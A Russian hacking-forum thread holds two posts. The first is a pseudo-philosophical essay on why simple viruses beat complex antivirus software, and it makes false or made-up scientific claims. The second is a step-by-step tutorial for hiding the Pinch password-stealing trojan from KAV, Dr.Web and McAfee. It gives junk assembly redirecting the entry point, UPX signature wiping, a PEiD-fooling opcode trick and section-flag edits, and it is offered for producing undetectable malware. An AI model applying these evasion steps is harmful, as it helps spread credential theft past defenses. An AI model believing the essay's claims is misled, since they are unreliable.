На вопрос «почему вирус весит килобайты, а антивирус – мегабайты, то есть в тысячи раз больше», IT-спецы отвечают мантрами «ломать не строить», «вот будут каналы позволять – будут вам такой зловредный софт». Большинство программистов, работающих в сфере безопасности, ничего не знают о высшей математике, теории хаоса и сингулярной эволюции. Все эти науки разным константами и теориями описывают сегодняшнюю сферу безопасности, но сходятся в одном: если система стремится развиваться, а не выживать, она будет увеличиваться в размерах. Вот так! Выживание и развитие, оказывается, совсем не одно и тоже. Примеров вокруг масса, рассмотрим самые тривиальные из них.

Динозавры, мамонты и прочие гиганты вымерли тысячи лет назад, в то время как тараканы, некоторые виды моллюсков и рыб, а так же вирусы (которых вообще сложно причислить к полноценной органической жизни), спокойно дожили до наших дней и живут среди нас.

Примерно каждые десять тысяч строк кода содержат хотя бы одну ошибку. Чем больше программа, тем больше ошибок. Это не из шутливых законов Мерфи, это закон, который действует от уровня ДНК до суперструн и 23х (предположительно) измерений метавселенной. Чем больше ДНК – тем больше генетических сбоев, ошибок и возможных мутаций. Не удивительно, что самые совершенные животные на Земле – это вирусы (биологические), у них вообще нет ДНК. А самые болезненные и в массе своей не приспособленные к жизни – люди.

Капля океанской воды устойчивее в пространственно-временном континууме, чем галактика. Капля испарится, конденсируется, вернётся дождём – ничего ей не будет. Галактику поглотит сверхмассивная черная дыра – и всё. Не будет больше ничего. Простота – не просто залог успешной программы и любви пользователей. Это вселенский закон, настолько всеохватный, что представить масштаб его не возможно.

Но вернёмся к нашим любимым средствам компьютерной безопасности, каждая новая версия которых весит больше предыдущей, включает больше функций и оперирует самыми немыслимыми средствами защиты. Значит ли это, что вирусы, трои, черви и прочий хоррорсофт становится более совершенным и мощным? Вовсе нет. Более того, в большинстве случаев никакой антивирус не спасает от действий самого пользователя, разведённого каким-нибудь тупым ботом. Нельзя написать программу, которая будет на лету ломать чистый html, выкорчевывать защиту на уровне ядра и глушить каналы терабайтным спамом. Зато можно придумать эффективный способ воровать пароли от ящика, прикидываясь службой технической поддержки или любимой девушкой.

Средства зашиты ВСЕГДА совершеннее и сложнее, чем инструменты взлома. Они ВСЕГДА на шаг впереди, хотя бы потому, что нельзя взломать защиту, которая ещё не изобретена. На них ВСЕГДА тратятся огромные деньги, за которые люди выкладывают все свои идеи и ментальные силы. Но что делает взломщик? Вот потратили на защиту HD-DVD миллионы долларов, а сколько человеко/часов затратил хакер, осуществивший взлом защиты от копирования? 20 баксов на пиво? smile.gif

На самые разрушительные вирусы в истории их авторы не потратили НИЧЕГО. Никто не заработал на том, что взломал лицензионный ключ. В то время как авторы-разработчики софта, защитных систем, получают действительно впечатляющие гонорары. И логика в этом только одна: жизнь всегда найдёт себе дорогу. Системы, которые хотят сохранить себе жизнь, не стремятся к развитию, они подчинены единственному бессознательному чувству – инстинкту самосохранения. Что хочет автор вируса, заразить тысячи компьютеров и своровать номера кредитных карт? Глупо. Автор вируса бессознательно стремится к тому, чтобы вирус выжил. Вы же хотите, чтобы ваши дети жили, не так ли.

Системы, которые развиваются от простого к сложному, обречены на вымирание. Жизнеспособность определяется следующими факторами: отсутствие единого центра управления, наличие цели, желание выжить, способность к массовому саморазмножению, стремление к самопожертвованию особи ради выживания сообщества в целом, остро-враждебное отношение к представителям других видов, отсутствие абстрактного мышления. Как видите человеческое общество к выживанию не приспособлено, а вредоносные программы – вполне.

Идеальный взлом идеальной защиты
Руководствуясь дао-принципами гениальности и простоты попытаемся создать вирус, который как и виртуальные коровы, уничтожит всех «хищников-антивирусов». Теория говорит нам, что это возможно.

Ничто не может быть идеальным – это один из фундаментальных законов нашего мира. Чем более сложна система, тем она менее идеальна. Совокупность сложных систем по экспоненте двигает надёжность к абсолютному нулю. Иголка с ниткой в тысячу раз надёжнее швейной машины. Наш квази идеальный вирус в миллион раз надёжнее, чем компьютер, операционная система, пользователь, сеть, защитный софт – потому что они совокупные части сверхсложной системы. А у нас только шестнадцать килобайт кода. Самый слабый элемент системы сильнее, чем вся система в целом, потому что он проще. Поэтому вирус атакует всю суперсистему в целом. Сеть, программы, пользователя в конце концов. Вирус, который одновременно влияет на все элементы системы, практически непобедим. Такой вирус, при правильном позиционировании, способен разрушить весь интернет. Правда корневая структура www содержит слишком много разветвлённых элементов, одновременная атака на которые маловероятна. Это и корневые DNS, и несколько электростанций, и с десяток dataцентров, пользователи опять же. Однако если в теории ядерная война интернет не уничтожит (доказано математическим моделированием), но какой-нибудь глупый и простой МАТЕМАТИЧЕСКИЙ способ, до которого просто никто ещё не додумался, способен не только интернет отключить, но и жизнь на планете до уровня бактерий свести. Без всяких солнечных мегатонн.

Если нет возможности построить вирус из восьми байт (а лучше одного!) надо его собрать из как можно меньшего количества простых блоков. Каждый блок будет отвечать за свою простую функцию, но будет делать это хорошо и без ошибок. Чем проще, тем лучше. В идеале: так просто, что никакие защитные средства не додумаются искать уязвимость ТАМ.

Отгородиться от идеальной атаки можно двумя способами. Закопать нашу компьютерную систему посреди пустыни, поставить сверху военный городок, окружить всё роботами и повесить на орбите военные спутники с термоядерными боеголовками. Но в один прекрасный день хитроумный электротаракан, с загруженным в мозг простым и надёжным как АК-47 вирусом, проникнет в нашу систему. Потому что «жизнь всегда найдёт себе дорогу». Сложная система, которая пытается защититься, будет взломана по определению. Это комический закон и, если понадобится, вся вселенная подстроится под его осуществление.

Другой способ заключается в том, чтобы регулярно восстанавливать систему и вычищать от последствий вторжения. Это означает, что систему будут взламывать постоянно. Однако с каждой успешной атакой взломщиков, она будет становиться чуть совершеннее. В перспективе её не погубит даже массированное долговременное вторжение. Система будет малоэффективна в режиме реального времен, но в долгосрочной работе способна будет существовать без сбоев. Её будут ломать, но на результатах работы это не отразится. Ваш сервер потрошат хакеры, а пользователи замечают лишь миллисекундную задержку. Атака прекращена – и работает всё без последствий.

Оптимальным соотношением станет сочетание этих двух тактик. Причём, в зависимости от специфики нашей деятельности, одна из тактик будет доминирующей. Таким образом, оптимальной стратегией можно считать такое отношение большой доминирующей системы к малой подчинённой, как их сумма к большой системе. Это называется «золотым сечением» и математически выглядит так: (1 + √5)/2 = 1.618. До недавнего времени принято было считать, что объекты, содержащие в себе «золотое сечение», воспринимаются людьми как наиболее гармоничные. Последние исследования в области теории математики показали, что системы, построенные на принципах «золотого сечения» более устойчивы к внезапным изменениям окружающей среды.

В общем виде вы должны понимать, что нельзя создать систему, которую никто не взломает. Делать это даже опасно! Система должна проектироваться с расчётом на то, что она будет взломана. И метода защиты непременно должны включать в себя способы восстановления. Антивирусы и фаерволы – форпосты и основные инструменты безопасности – в большинстве случаев не предоставляют нам возможность восстановить систему после атаки. Они действуют по изначально ущербной методике «не пропустить вторжение!» и «найти и уничтожить!» Как вы понимаете, компьютерная сеть, безопасность которой охраняется таким образом, обречена на уничтожение. Простой и примитивный вирус, написанный студентом-старшекурсником в качестве дипломной работы, способен уничтожить даже самую надёжную коммерческую систему. Рассмотрим более подробно, почему это происходит.

По ту сторону огня
«Огненные стены» и антивирусы – продукты в массе своей коммерческие. Пишутся они за деньги. Задачи, которые должны выполнять защитное ПО, огромны. Никогда не знаешь откуда ждать вторжения. Чем больше у софта задач, тем в больших критических ситуациях он может оказаться, пока, в итоге, не придёт к полному дестрою.

Подобный софт пишет большое количество человек. Каждый человек – это уже большая сложная система с огромным количеством ежеминутно решаемых задач. Мозг должен помнить как дышать, решать что купить на ужин, думать почему у жены задержка – в таких условиях приходится писать и отлаживать код. Люди не автоматы. Многие люди даже с теорией автоматов и сложных систем не знакомы. Их ошибки (часто, генетические) переходят их продуктам.

Чем лучше защитная система ожидается на выходе, тем труднее организовать производство. Простая теория «чёрного ящика». Вы примерно представлять как организовать работу программистов, эффектно представляете, что должно получиться в итоге, и совершенно не представляете, что конкретно в эту минуту делает программист Петров и какие новационные задачи мечтает внести в ваш продукт Иванов из соседнего отдела. Вы не имеете четких представлений о процессе создания программного продукта. В результате фатальные ошибки всегда неизбежны. Люди есть люди.

Но вместо того, чтобы принять это как должное, Лаборатории Касперского и прочие НИИ сетевой инквизиции с упорством наркоманов латают дыры и выпускают новые, более «развитые» версии. Наверное, в недрах разрабатывают закон о смертной казни за хакерство, вместо того, чтобы совершенствовать технологии восстановления системы. Такие технологии есть, но от сторонних разработчиков. Никакой интеграции. В итоге имеем две разные, одинаково уязвимые системы, которые еле сосуществуют на третьей, в конец ненадёжной, под руководством генетически не совершенного пользователя.

Создать гениальную защиту до смешного просто. Напишите программу, которая будет следить за работой антивируса и, в случае чего, восстановит его, докачает потерянные в борьбе файлы. Научитесь работать по принципам хакерского программирования. Почему антивирус не может саморазмножаться? Это существенное упущение. Он обязан создавать десятки своих копий.

И это только начало. Самовосстановление должно распространяться на каждый элемент системы. На пользователя в том числе! Если он полный дебил, не позволяйте ему делать в системе всё, что он захочет. Закройте ядро, запретите навсегда открывать папку Windows. Пока вы не возьмёте на вооружение хакерское оружие, будете гибнуть один за другим. Да-да, разработчики, я к вам обращаюсь!

Большая система не должна быть зависима от своих частей. Разберите её на части – она будет жить по частям. Вот пример настоящего вредоносного софта. Как его не кромсай, будет только больше простых и более эффективных (!) частей. Математический принцип матрёшки. Распараллельте задачи, уберите все критически важные для функционирования части. И получите идеальный инструмент атаки. Или защиты. Взломы существуют лишь до тех пор, пока есть разница между системами защиты и системами атаки. Уберите разницу и мы получим рекурсию. Борьба будет продолжаться, взломов будет ещё больше, на безопасность будет тратиться миллиарды долларов, хакеров будут в конце концов подвергать высшей мере наказания, но конечный пользователь ничего не заметит. Чтобы в итоге, заходя на любимый Xakep.ru, видеть не «Deface by Pupkin-Zade», а 100 % зеркало оригинала. И так во всём, весь мир в зеркалах, которые отразят только то, что мы хотим увидеть.



Тот кто читает эту тему прошу написать:
либо интересно либо нет после подщета решу продолжать или нет продлится голосование до 4 февраля
Перейти в начало страницы
 
+Цитировать сообщение
CL!F
сообщение 2.06.2008 - 22:22

Энтузиаст
****

Группа: Участник
Сообщений: 361
Регистрация: 12.11.2004
Пользователь №: 5343


[Welcome to HeLL]
Спрячем любой вирус руками
Все представленные ссылки - Траффик 1 КАТЕГОРИИ!!!
Автор: m1z0
ICQ: 190*024; Mail: thehac@ya.ru


Инструменты:
………………

Цитата
HIEW 6.8x
PE Tools
PEiD 0.92
UPX 1.25
Some brains

………………

Всё, что написано ниже, предоставлено чисто для ознакомления. Я не несу ответственности за противозаконное использование материала.

………………

Зачем это пишется? Просто так.. Может вы скажите что умеете и так прятать любой вирус с помощью … ASProtect? Xtreme-Protector? .. or any protector? а может с помощью Afx!AVSpoffer? Да, конечно неплохо получается, пожав вирус получаем:

File size: 17KB compressed to 102KB, Ratio: 602,9%

Как круто =) да.. Об X-protector’e я уже молчу, там ещё круче.
Спуф от fij.. Скока мусора вставляется за один подход? А чтоб от веба спрятать вам придётся жать кнопку около 12-и раз. После этого шанс выжить у файла как – то резко уменьшается . Тем более сейчас уже не актуально его использовать, по моему мнению.
В свою базу его не добавил, наверное, самый ленивый AV(Может это не так?). Т.к. сигнатуры (далее сигны -> последовательность байт) во все файлы начиная с entry point вставляет одинаковые.. Например:

Если не выбирать никакие опции получается: CODE
Код
60 55 81 F9 ?? 00 00 00 33 C0 55 54 81 F9 ?? 00 00 00 58 59 59 81 F9
Crypt DS:seg > 60 B8 00 ?? ?? 00 33 C9
random alghr > 60 55 90 90 81 F9 ?? 00 00



Другие опции пока ещё не доступны. Хотя мне было бы интересно посмотреть на “crypt RSRC”.

Ну а на счёт крипторов, которые вроде размер не увеличивают, да можете ими пользоваться, пока они не дойдут до суппорт-центра AV. А ребята там очень живо работают ?. Если попалится сама прожка, то вместе с ней и все чистяки.

Это я всё к тому, что зачем юзить какие - то левые проги, когда самому можно руками всё сделать. Уж тем более жать протекторами, которые совсем не для этого предназначены.

В данной статье я хочу показать вам на примере, как спрятать вирус от любых AV. Главное как можно меньше внести изменений в файл, мы же не собираемся шифровать весь файл, просто пара левых инструкций не помешает. Главное, чтоб работоспособность сохранилась, ведь нам не нужен дохлый файл . Проверять я буду этими антивирами: KAV 5.0, Dr.WEB 4.32b, McAfee Virus Scan 8.0 #41. На остальных не имеет смысла тестить smile.gif.

Итак, как же всё - таки можно спрятать вирус? На самом деле всё очень просто… на первый взгляд . Практически все AV начинают сканить файл с точки входа. Далее устанавливают, упакован ли файл? Если да, то следует унпак, нет продолжают дальше...( проверяя валидный ли это PE файл, ведь у нас exe ) Именно здесь где то и есть наша сигна, по которой антивир палит вирус. Это не всё конечно, есть ещё уникальные сигны, дабы каждый файл не палился . Если знакомых сигн нету, AV начинает эмулить пару инструкций, проверяя не хотят ли его наепать. Самый нормальный эвристик у веба.. имеет глубину 12 уровней. Мда… McAfee делает совершенно иначе, как мне показалось. Похоже, что ему на EP вообще посрать как - то. Сигна есть где - то в .data или в .rsrc может быть. Представляет собой некий кусок данных. Изменив один байт, файл больше не обнаруживался . Здесь как раз сложно найти эту сигну.

Дак вот.. нам надо подправить пару байт так, чтобы наша хорошая програмулька не упала и не палилась.
Естественно вставляемый нами код будет представлять мусор и больше ничего.
Мы не будем использовать умные фичи типа шифрования, т.к. это здесь не нужно.

Для начала возьмем свежескомпиленный pinch.exe. Будем прятать его.
Что бы можно было на себе тестить в настройках я выбрал: генерить всё в passwords.txt.
И ещё.. я не тыкнул пимпу “Encrypt”, это для шифрования инфы и паковку FSG 1.33, какой то извратный паковщик .
Нусс.. открываем в hiew32.exe наш вир. Ну тут всё как обычно идёт pe header.. секции и т.д..
Заползём ка в третью секцию. Жмём F8 -> F6 -> .data -> [enter].

]]>http://www.web-hack.ru/images/forum/virus/01.png]]>

И что мы видим? упс.. наши настройки.

]]>http://www.web-hack.ru/images/forum/virus/02.png]]>

Естественно просто так их нельзя оставить. Но сначала надо немного поковырять Entry Point..
Идём на EP. Жмём F8 -> F5 затем ещё [enter] нажмите, будем вручную вбивать асм инструкции. Быстро записываем этот адрес. У меня: 403D8A <- OEP.

]]>http://www.web-hack.ru/images/forum/virus/03.jpg]]>

Сейчас мы немного побалуемся с точкой входа.
Листаем немного вниз, ищём кучу нулей. Раз 9 стоит нажать page down.
Встаем на любое место и .. Откуда эти нули?
Это обычная оптимизация для процессоров x86. Компилятор размещает данные по адресам, кратным величине выравнивания. В общем это как раз для нас wink.gif.
Введём самое простое, что приходит на ум ( F3 -> F2 ):CODE
Код
pushad; сохраняем регистры
mov ecx, 125; заносим какое – то число
sub ecx, 110; чего – то вычитаем ..
xchg ecx, eax
xor eax, eax; обнуляем eax
xor ecx, ecx; обн. ecx
pop eax
pop ecx
mov eax, 403D8A; в eax наш OEP
mov ecx, 9
sub eax, ecx
add eax, 9
jmp eax; прыжок на OEP



Очень примитивно..
Таких переходов можно делать сколько угодно, лишь бы места хватило, а его как видно очень даже много.
Что мы вообще сделали? Сохранили регистры, то, что идёт до [pop eax] всё мусор.. и после тоже. В eax занесли наш OEP, в ecx пихнули 9, Вычли из eax, ecx. Прибавили к eax, 9 и получился OEP. Дальше понятно.. просто джамп.
Что очень просто? Ну а что.. и этого хватит на первое время. Может в будущем такие фичи будут сечь Антивиры. Хмм.. было бы круто ..
Такс.. всё это дело вбили, жмём [Esc], F9 для сохранения.
Получилось что – то типа того:

]]>http://www.web-hack.ru/images/forum/virus/04.jpg]]>

Теперь пихаем наш файл в PE Tools (я использую PE Tools v1.5 Xmas Edition - by NEOx) .
Хотя EntryPoint можно менять сразу в hiew, но я чё - то не помню как там было .. и флаги секций тоже.. Открываем вир с помощью пе эдитора. Жмём “Optional Header” и там смотрим Entry Point. Вот здесь нам нужно положить новый адрес. Я начал вбивать с адреса 404178. Поэтому из 404178 вычитаем image base (400000 – виртуальный адрес в памяти, начиная с которого программа загружена в память), получается 00004178. Вписываем новый адрес и “Ok”. Запустим наш exe.. работает? .. cool. Нет? Хмм.. читай всё сначала.

Проверим.. значит KAV и Веб не палят, в отличии от McAfee .
Что делать?.. пакнем наверно. Я возьму UPX 1.25, простенький и мощный паковщик.
Сначала посмотрим что показывает PEiD…> Not a valid PE file. %)
Не очень хорошо, после паковки упиксом такого файла, он быстренько сдохнет. В этом плане ASPack более неприхотлив. Не будем далеко ходить, воспользуемся плугом для пеида.. Rebuild PE (http://www.textsoft.nm.ru/RebuildPE.dll). Теперь что у нас…> Nothing found *. Так то лучше .. Теперь пакуем UPX’oм. Получилось 9 216 byte. Просто монстр какой – то .
Сейчас задача внести пару изменений, чтобы анализатор не определял упикс, следовательно, не смог его распаковать.
Засовываем опять вир в hiew, [enter]. Листаем немного вниз и видим такое:
CODE
Код
000003D0:  00 00 00 00-00 00 00 00-00 00 00 31-2E 32 35 00              1.25
000003E0:  55 50 58 21-0C 09 02 0A-6A D5 0F A0-BC 8C 4F 48   UPX!+0O0j-0а-МOH
000003F0:  F8 64 02 00-BC 1A 00 00-E7 42 00 00-26 00 00 94   °dO ->  чB  &  Ф

Сигны UPX. Недолго думая затираем их, F3 и вставляем какой нить мусор, F9 – сохраняем.
Потом [enter], F8 > F5 и мы на EP:CODE
Код
.00428AC0: 60                           pushad      <- OEP
.00428AC1: BE00704200                   mov         esi,000427000  -----^ (4)
.00428AC6: 8DBE00A0FDFF                 lea         edi,[esi][0FFFDA000]
.00428ACC: 57                           push        edi
.00428ACD: 83CDFF                       or          ebp,-001;"O"
.00428AD0: EB10                         jmps       .000428AE2  -----v (5)
.00428AD2: 90                           nop
.00428AD3: 90                           nop


Проделаем тоже самое, что и с непакованным вирем. Листаем вниз.. и видим кучу нулей .
Встаём на любой адрес, F3 и сначала вводим опкоды: 74 00, затем на следующей строчке: E9, F9, пока сохраним.CODE
Код
00428C21: 7400                         je         .000428C23  -----v (3)
00428C23: E900000000                   jmp        .000428C28  -----v (4)

Это просто трюк, для обхода PEiD …> PE Pack 1.0 -> ANAKiN.
Дальше вводим уже знакомое (F3 > F2):
Код
CODE
pushad
mov ecx, 428AC0; в ecx OEP
mov eax, 1
dec eax
mov eax, ecx
jmp eax



Вот и всё.. теперь опять вир пихаем в PE Tools, меняем Entry Point на новый адрес, с которого вы начали вводить: 74 00 и т.д. У меня 00428C21 – image base = 00028C21.
По пути заходим в “Sections”, затираем названия секций и меняем характеристики на C0000080. Запускаем наш вир… и он работает .. Проверяем антивирами.. все в дауне, включая McAfee wink.gif. Да, по ходу дела бекапте пинч, а то маловероятно, что с первого раза всё получиться.. хотя может быть.

Конец близок. Попробуем расунпачить файл.

]]>http://www.web-hack.ru/images/forum/virus/05.jpg]]>

А затем …

]]>http://www.web-hack.ru/images/forum/virus/06.jpg]]>

Хы.. крута! .. попробуйте любыми автораспаковщиками.. у вас ничего не выйдет.
Не стоит думать, что это 100% защита, всё это дело распаковывается руками за одну минуту.

Вот так вот просто можно обойти всех антивирусов.
Если следовать этому плану, возможно будет спрятать любой вирус. Хотя бывает иногда, ну прям палится и всё.. . В этом случае придётся поискать сигну, отрезая секции например.
Дальше уже по обстоятельствам разбираться. Но не стоит пользоваться левыми прогами, для прятанья. Чистяки получаются у всех одинаковые, прога действует по определённому алгору, кот. можно подсмотреть wink.gif и никакой полиморфизм не поможет, если тока не придумывать что – то сложное (свой движок).. хотя врятли. А так руками каждый делает свой уникальный чистяк (если не будете вставлять одинаковый код, придумайте что – нить своё).
Никто не гарантирует, что всё получится с первого раза. Для этого нужно набивать руку. Таким образом, на один чистяк уходит порядка 5 мин. Ну максимум 10. Выбирать способ конечно вам, настаивать я не буду… Я лишь высказал своё мнение.

Сообщение отредактировано CL!F - 2.06.2008 - 22:22
Перейти в начало страницы
 
+Цитировать сообщение

Ответить в данную темуНачать новую тему
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0

 



RSS Текстовая версия Сейчас: 23.04.2024 - 18:45